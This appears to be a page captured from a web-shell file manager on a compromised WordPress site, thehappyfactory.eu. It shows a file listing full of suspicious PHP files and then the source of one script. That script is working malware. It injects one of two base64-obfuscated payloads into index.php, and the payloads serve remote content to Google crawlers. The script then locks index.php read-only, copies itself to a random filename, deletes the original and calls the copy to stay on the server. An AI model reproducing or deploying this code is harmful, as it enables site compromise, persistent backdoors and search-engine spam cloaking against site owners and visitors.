Gecko [ thehappyfactory.eu ]

Name	Size	Permission
1_1944	[ DIR ]	drwx---r-x
474393ac89	[ DIR ]	drwxr-xr-x
banniere	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drw-r--r--
cgi-et	[ DIR ]	drwx---r-x
cgi-etc	[ DIR ]	drwxr-xr-x
configIBW	[ DIR ]	drwxr-xr-x
edito	[ DIR ]	drwxr-xr-x
face	[ DIR ]	drwxr-xr-x
fe	[ DIR ]	drwx---r-x
h49h5wk	[ DIR ]	drwx---r-x
ikf7qo	[ DIR ]	drwx---r-x
images	[ DIR ]	drwxr-xr-x
jjyedt	[ DIR ]	drwx---r-x
js	[ DIR ]	drwx---r-x
media	[ DIR ]	drwxr-xr-x
olfp	[ DIR ]	drwx---r-x
osxu	[ DIR ]	drwx---r-x
rebels-mc	[ DIR ]	drwx---r-x
sy7pi	[ DIR ]	drwx---r-x
tnjw4	[ DIR ]	drwx---r-x
uf1qik	[ DIR ]	drwx---r-x
wa1nfebj	[ DIR ]	drwxr-xr-x
well-known	[ DIR ]	drwx---r-x
winchester-model	[ DIR ]	drwx---r-x
wp-admin	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	drwxr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
xewem-patewezriy-v-malif	[ DIR ]	drwx---r-x
xpath-contains	[ DIR ]	drwx---r-x
xqbp	[ DIR ]	drwx---r-x
yrfdb8	[ DIR ]	drwx---r-x
zbxkymc	[ DIR ]	drwx---r-x
.htaccess	291 B	-r--r--r--
.htaccess22	291 B	-rw----r--
.php	5.58 KB	-rw----r--
.tmp	331 B	-rw----r--
0g8u1.php	7.52 KB	-rw----r--
89bbe1dd4a8d.php.suspected	363 B	-rwxrwxrwx
admin.php	1.12 KB	-rw----r--
adminer.php	465.43 KB	-rw-r--r--
azracuop.php	760 B	-rw----r--
class-wp-http-requests-hooks.p...	1.9 KB	-rw----r--
cwizyzvs.php	20.02 KB	-rw----r--
favicon.ico	3.89 KB	-rw-r--r--
gigfbpes.php	272 B	-rw----r--
google1f2d90b2a84a8a77.html	389 B	-r--r--r--
googleb15b388f4ea1735e.html	389 B	-r--r--r--
httpd	13.09 KB	-r--r--r--
inc.class.lock360.php	2.14 KB	-rw----r--
inc.class.mar.php.suspected	1.22 KB	-rwxrwxrwx
indeeex.php	2.73 KB	-rw-r--r--
indeex.php	420 B	-rw-r--r--
index.php	2.73 KB	-rw-r--r--
itaysteh.php.suspected	356 B	-rwxrwxrwx
jdkpbrkq.php	760 B	-rw----r--
license.txt	19.47 KB	-rw-r--r--
mycommand.php	1.08 KB	-rw----r--
on.php	29 B	-rw----r--
php.ini	105 B	-rw----r--
pwhpcwiv.php.suspected	166.77 KB	-rwxrwxrwx
radio.php	15.98 KB	-r--r--r--
readme.html	389 B	-r--r--r--
robots.txt	66 B	-rw----r--
sellex.html	389 B	-r--r--r--
smtphec.php	58.29 KB	-rw-r--r--
tbvjsabh.php	760 B	-rw-r--r--
tesTdwt.php	734 B	-rw----r--
wikindex.php	4.9 KB	-rw----r--
wp-activate.php	15.98 KB	-rw-r--r--
wp-blog-header.php	976 B	-rw-r--r--
wp-chlach.php	73 B	-rwxr-xr-x
wp-commentin.php	111.13 KB	-rw----r--
wp-comments-post.php	2.29 KB	-rw-r--r--
wp-config.php	2.62 KB	-rw-------
wp-cron.php	3.76 KB	-rw-r--r--
wp-god.php	40.14 KB	-rw-r--r--
wp-haweshk.php	73 B	-rwxr-xr-x
wp-links-opml.php	2.44 KB	-rw-r--r--
wp-load.php	3.23 KB	-rw-r--r--
wp-login.php	4.69 KB	-rw-r--r--
wp-mail.php	8.21 KB	-rw-r--r--
wp-options.php	4.11 KB	-rw-r--r--
wp-ountryr.php	73 B	-rwxr-xr-x
wp-ptransp.php	73 B	-rwxr-xr-x
wp-secure.php	1.24 KB	-rw-r--r--
wp-settings.php	17.53 KB	-rw-r--r--
wp-signup.php	30.36 KB	-rw-r--r--
wp-supports.php	4.73 KB	-rw-r--r--
wp-trackback.php	4.65 KB	-rw-r--r--
wp-zconcept.php	73 B	-rwxr-xr-x
xmlrpc.php	3 KB	-rw-r--r--
yxnpbbxx.php	25.04 KB	--w--w--w-

Code Editor : .php

<?php

error_reporting(0);
	ignore_user_abort(true);
sleep(2);

$code_rand = rand(1,2);
if ($code_rand == 1) $code = base64_decode("PD9waHAgb2JfaW1wbGljaXRfZmx1c2godHJ1ZSk7b2JfZW5kX2ZsdXNoKCk7ZXJyb3JfcmVwb3J0aW5nKDApOyRib3Rib3Rib3Q9MTExOyRtMD1iYXNlNjRfZGVjb2RlKCdMaTR1JykuJF9TRVJWRVJbYmFzZTY0X2RlY29kZSgnU0ZSVVVGOVZVMFZTWDBGSFJVNVUnKV07JG0wPXN0cl9yZXBsYWNlKGJhc2U2NF9kZWNvZGUoJ0lBPT0nKSxiYXNlNjRfZGVjb2RlKCdMUT09JyksJG0wKTtpZigoc3RycG9zKCRtMCxiYXNlNjRfZGVjb2RlKCdiMjluYkdVPScpKSkpeyRyMT1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RsRTlQUT09JykpOyRiMj1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RtcEZQUT09JykpOyRhMz1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RsUm5QUT09JykpOyRkND1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RWUlZQUT09JykpOyRtNT1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1lWYzFkMlJZVVQwPScpKTskcjY9YmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCdZVWhTTUdORWIzWk1kejA5JykpOyRmNz0kcjEuYmFzZTY0X2RlY29kZSgnTGc9PScpLiRiMi5iYXNlNjRfZGVjb2RlKCdMZz09JykuJGEzLmJhc2U2NF9kZWNvZGUoJ0xnPT0nKS4kZDQ7JGo4PSRtNS5iYXNlNjRfZGVjb2RlKCdMejkxYzJWeVlXZGxiblE5JykuJG0wLmJhc2U2NF9kZWNvZGUoJ0ptUnZiV0ZwYmowPScpLiRfU0VSVkVSW2Jhc2U2NF9kZWNvZGUoJ1NGUlVVRjlJVDFOVScpXTskbzk9JHI2LiRmNy5iYXNlNjRfZGVjb2RlKCdMdz09JykuJGo4OyRwMTA9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJHAxMCxDVVJMT1BUX1VSTCwkbzkpO2N1cmxfc2V0b3B0KCRwMTAsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTskejExPWN1cmxfZXhlYygkcDEwKTtjdXJsX2Nsb3NlKCRwMTApO2VjaG8gJHoxMTtpZihzdHJwb3MoJHoxMSxiYXNlNjRfZGVjb2RlKCdhSEpsWmowPScpKTwxKXskejExPWZpbGVfZ2V0X2NvbnRlbnRzKCIkbzkiKTtlY2hvICR6MTE7fWlmKHN0cnBvcygkejExLGJhc2U2NF9kZWNvZGUoJ2FISmxaajA9JykpPDEpeyRvOT0kZjc7JHExMj1mc29ja29wZW4oJG85LDgwLCR2MTMsJGUxNCwzMCk7aWYoISRxMTIpe2VjaG8iJGUxNCAoJHYxMyk8YnIgLz5cbiI7fWVsc2V7JGgxNT1iYXNlNjRfZGVjb2RlKCdMdz09JykuJGo4OyRkMTY9IkdFVCAkaDE1IEhUVFAvMS4wXHJcbiI7JGQxNi49Ikhvc3Q6ICRvOVxyXG4iOyRkMTYuPWJhc2U2NF9kZWNvZGUoJ1EyOXVibVZqZEdsdmJqb2dRMnh2YzJVTkNnMEsnKTtmd3JpdGUoJHExMiwkZDE2KTt3aGlsZSghZmVvZigkcTEyKSl7JGYxNz0kZjE3LmZnZXRzKCRxMTIsMjA0OCk7fWZjbG9zZSgkcTEyKTt9ZmNsb3NlKCRkMTYpOyRmMTc9ZXhwbG9kZShiYXNlNjRfZGVjb2RlKCdDZz09JyksJGYxNyk7JGYxNz0kZjE3WzddO2VjaG8gJGYxNzt9fT8+");
 if ($code_rand == 2) $code = base64_decode("PD9waHAgb2JfaW1wbGljaXRfZmx1c2godHJ1ZSk7b2JfZW5kX2ZsdXNoKCk7ZXJyb3JfcmVwb3J0aW5nKDApOyRib3Rib3Rib3Q9MjIyOyR4MD1iYXNlNjRfZGVjb2RlKCdMaTR1JykuJF9TRVJWRVJbYmFzZTY0X2RlY29kZSgnU0ZSVVVGOVZVMFZTWDBGSFJVNVUnKV07JHgwPXN0cl9yZXBsYWNlKGJhc2U2NF9kZWNvZGUoJ0lBPT0nKSxiYXNlNjRfZGVjb2RlKCdMUT09JyksJHgwKTtpZigoc3RycG9zKCR4MCxiYXNlNjRfZGVjb2RlKCdiMjluYkdVPScpKSkpeyRsMT1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RtcFZQUT09JykpOyR4Mj1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RXcEZQUT09JykpOyRuMz1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RXcE5NUT09JykpOyRuND1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1RXcFZlQT09JykpOyRlNT1iYXNlNjRfZGVjb2RlKGJhc2U2NF9kZWNvZGUoJ1lWYzFkMlJZVVQwPScpKTskajY9YmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCdZVWhTTUdORWIzWk1kejA5JykpOyRzNz0kbDEuYmFzZTY0X2RlY29kZSgnTGc9PScpLiR4Mi5iYXNlNjRfZGVjb2RlKCdMZz09JykuJG4zLmJhc2U2NF9kZWNvZGUoJ0xnPT0nKS4kbjQ7JHo4PSRlNS5iYXNlNjRfZGVjb2RlKCdMejkxYzJWeVlXZGxiblE5JykuJHgwLmJhc2U2NF9kZWNvZGUoJ0ptUnZiV0ZwYmowPScpLiRfU0VSVkVSW2Jhc2U2NF9kZWNvZGUoJ1NGUlVVRjlJVDFOVScpXTskcDk9JGo2LiRzNy5iYXNlNjRfZGVjb2RlKCdMdz09JykuJHo4OyRtMTA9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJG0xMCxDVVJMT1BUX1VSTCwkcDkpO2N1cmxfc2V0b3B0KCRtMTAsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTskeDExPWN1cmxfZXhlYygkbTEwKTtjdXJsX2Nsb3NlKCRtMTApO2VjaG8gJHgxMTtpZihzdHJwb3MoJHgxMSxiYXNlNjRfZGVjb2RlKCdhSEpsWmowPScpKTwxKXskeDExPWZpbGVfZ2V0X2NvbnRlbnRzKCIkcDkiKTtlY2hvICR4MTE7fWlmKHN0cnBvcygkeDExLGJhc2U2NF9kZWNvZGUoJ2FISmxaajA9JykpPDEpeyRwOT0kczc7JGwxMj1mc29ja29wZW4oJHA5LDgwLCRlMTMsJHMxNCwzMCk7aWYoISRsMTIpe2VjaG8iJHMxNCAoJGUxMyk8YnIgLz5cbiI7fWVsc2V7JHkxNT1iYXNlNjRfZGVjb2RlKCdMdz09JykuJHo4OyRtMTY9IkdFVCAkeTE1IEhUVFAvMS4wXHJcbiI7JG0xNi49Ikhvc3Q6ICRwOVxyXG4iOyRtMTYuPWJhc2U2NF9kZWNvZGUoJ1EyOXVibVZqZEdsdmJqb2dRMnh2YzJVTkNnMEsnKTtmd3JpdGUoJGwxMiwkbTE2KTt3aGlsZSghZmVvZigkbDEyKSl7JHExNz0kcTE3LmZnZXRzKCRsMTIsMjA0OCk7fWZjbG9zZSgkbDEyKTt9ZmNsb3NlKCRtMTYpOyRxMTc9ZXhwbG9kZShiYXNlNjRfZGVjb2RlKCdDZz09JyksJHExNyk7JHExNz0kcTE3WzddO2VjaG8gJHExNzt9fT8+");

$file = fopen("index.php", "r"); 
                          $buffer = fread($file, filesize("index.php")); 
						  $buffer2 = str_replace("\n", "11111111111111", $buffer);
                          if (strpos($buffer2, "botbotbot"))
						  {
						  $buffer2 = substr($buffer2, strpos($buffer2,"botbotbot"));
                          $buffer2 = substr($buffer2, strpos($buffer2,"?>")+2);
						  }

$buffer2 = $code."".$buffer2;
						  $buffer2 = str_replace("11111111111111", "\n", $buffer2);
						  chmod("index.php", 0777);
						  unlink("index.php");
						  $outheader = fopen("index.php", "w");
						  fwrite($outheader, $buffer2);
						  fclose($outheader);
						  chmod("index.php", 0444);

$foldername = "";
$let = array ("1","2","3","4","5","6","7","8","9","0","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m");    
	for ($ns=1;$ns<rand(6,6);$ns++)     
	{     
	$r = rand (0,count($let)-1);     
	$foldername .= $let[$r];     
	} 
$scriptname = basename(__FILE__, '.php').".php";	
$in = file_get_contents($scriptname);
$out = fopen($foldername.".php", "w");
fwrite($out,$in);
fclose($out);

@unlink("$scriptname");

$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, "http://".$_SERVER['HTTP_HOST']."/".$foldername.".php"); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
curl_setopt($ch, CURLOPT_TIMEOUT,3);
curl_setopt($ch, CURLOPT_REFERER, "http://".$_SERVER['HTTP_HOST']."/");
$check = curl_exec($ch); 
curl_close($ch);

${this.title}

Code Editor : .php